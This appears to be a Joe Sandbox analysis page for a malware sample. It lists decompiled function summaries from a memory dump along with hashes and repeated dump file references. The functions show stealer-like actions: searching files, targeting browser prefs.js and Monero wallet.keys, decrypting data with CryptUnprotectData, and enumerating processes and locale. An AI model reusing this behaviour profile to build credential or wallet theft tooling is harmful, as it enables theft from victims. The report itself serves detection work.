Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002A15B8,002A0D96), ref: 0028F71E
StrCmpCA.SHLWAPI(?,002A15BC), ref: 0028F76F
StrCmpCA.SHLWAPI(?,002A15C0), ref: 0028F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0028FAB1
FindClose.KERNEL32(000000FF), ref: 0028FAC3

Strings

prefs.js, xrefs: 0028F812

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: ce5777ef7f1726633fcd3f1c169a116fd6ce15483b3953db4dbaa60c6eb449bd
Instruction ID: d2a9ea10e60ecac6e1614e72fdd2ea91378dc8961ed71631e17b632fb71f44f7
Opcode Fuzzy Hash: ce5777ef7f1726633fcd3f1c169a116fd6ce15483b3953db4dbaa60c6eb449bd
Instruction Fuzzy Hash: CEB152759202189BDF64FF60DD96EEE7379BF54300F4081A8A40A96181EF306B69CFD2

Function 002816D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002A510C,?,?,?,002A51B4,?,?,00000000,?,00000000), ref: 00281923
StrCmpCA.SHLWAPI(?,002A525C), ref: 00281973
StrCmpCA.SHLWAPI(?,002A5304), ref: 00281989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00281D40
DeleteFileA.KERNEL32(00000000), ref: 00281DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00281E20
FindClose.KERNEL32(000000FF), ref: 00281E32

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Strings

\*.*, xrefs: 002817F1

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: db76dea823ea5c7508bbe89e783d677d33791d769a4c2c99fa5d9223ede33f76
Instruction ID: 8eb6ba9868bcb42c35e2e1fef0f3a1ec49b21389ccb300912bc7d3da566b672a
Opcode Fuzzy Hash: db76dea823ea5c7508bbe89e783d677d33791d769a4c2c99fa5d9223ede33f76
Instruction Fuzzy Hash: 9112CD719312289BDF19FB60DC96AEE7378BF54300F404199A50A66091EF706FA9CFE1

Function 0028DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002A14B0,002A0C2A), ref: 0028DAEB
StrCmpCA.SHLWAPI(?,002A14B4), ref: 0028DB33
StrCmpCA.SHLWAPI(?,002A14B8), ref: 0028DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0028DDCC
FindClose.KERNEL32(000000FF), ref: 0028DDDE

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 219575a34384eb77f72e98688cb270c835388e3b9a7e13670310645e7d2072bb
Instruction ID: cd2fb798b9ed41e5d679f2fad8ca14a5fe03555d6a83bd86d8c0da069a03be4f
Opcode Fuzzy Hash: 219575a34384eb77f72e98688cb270c835388e3b9a7e13670310645e7d2072bb
Instruction Fuzzy Hash: 7A91F17692021897DF14FBB0EC57DED737DAB84304F408668B90A96181EE349B698FD2

Function 00297B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

GetKeyboardLayoutList.USER32(00000000,00000000,002A05AF), ref: 00297BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00297BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00297C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00297C62
LocalFree.KERNEL32(00000000), ref: 00297D22

Strings

/ , xrefs: 00297C7F

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9e8066918a0e6fd78ea2b3360550e960ca7abf80c41c50ceedf62fc16a9bf92e
Instruction ID: 97a3a5326ec711cdb2847846f09c678924ea3fa32a91447e52584e814f325ea4
Opcode Fuzzy Hash: 9e8066918a0e6fd78ea2b3360550e960ca7abf80c41c50ceedf62fc16a9bf92e
Instruction Fuzzy Hash: F5414C71961218ABDF24DB94DC99FEEB378FF44700F204199E00A62191DB742F95CFA5

Function 0028E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,002A0D73), ref: 0028E4A2
StrCmpCA.SHLWAPI(?,002A14F8), ref: 0028E4F2
StrCmpCA.SHLWAPI(?,002A14FC), ref: 0028E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0028EBDF

Strings

\*.*, xrefs: 0028E44D

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: b974881294025839da94835d8973778501de72f022a017c0b4077afb641840ef
Instruction ID: 92e324c38e4b3ae021f185e1e96d40b4e50b90ae49ee087a05675c9bc81e24aa
Opcode Fuzzy Hash: b974881294025839da94835d8973778501de72f022a017c0b4077afb641840ef
Instruction Fuzzy Hash: 5B12FB729312189BDF18FB60DC96EED7378BF54300F4045A9A50A96091EE346F69CFE2

Function 00299600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0029961E
Process32First.KERNEL32(002A0ACA,00000128), ref: 00299632
Process32Next.KERNEL32(002A0ACA,00000128), ref: 00299647
StrCmpCA.SHLWAPI(?,00000000), ref: 0029965C
CloseHandle.KERNEL32(002A0ACA), ref: 0029967A

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 16ce8519d5921ed6178b2c31ebf79503f9266d46753a424a18b728b7121ac531
Instruction ID: 253d3b12cced13b4199529405fa49064d3333c11238b3e3b3480b70a77e1307f
Opcode Fuzzy Hash: 16ce8519d5921ed6178b2c31ebf79503f9266d46753a424a18b728b7121ac531
Instruction Fuzzy Hash: 27010C75A10208EBCF54DFA5CD48FEDBBF8FB48314F104198A90596240D7759BA0CF61

Function 00297A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00E4D9F8,00000000,?,002A0E10,00000000,?,00000000,00000000), ref: 00297A63
RtlAllocateHeap.NTDLL(00000000), ref: 00297A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00E4D9F8,00000000,?,002A0E10,00000000,?,00000000,00000000,?), ref: 00297A7D
wsprintfA.USER32 ref: 00297AB7

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: ee3c994e3781282774030b3a7c935c8bf5c3b9c4a52005a3d1e7be8d626c8957
Instruction ID: b342348561a102868daf0199b730898c79f46722dfad9345f1167edf7da389e9
Opcode Fuzzy Hash: ee3c994e3781282774030b3a7c935c8bf5c3b9c4a52005a3d1e7be8d626c8957
Instruction Fuzzy Hash: BA11A1B1A55218EBEB20DF54DC49FA9B778FB04725F1043AAE90A932C0C7741E50CF51

Function 00289B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00289B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00289BA3
LocalFree.KERNEL32(?), ref: 00289BD3

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

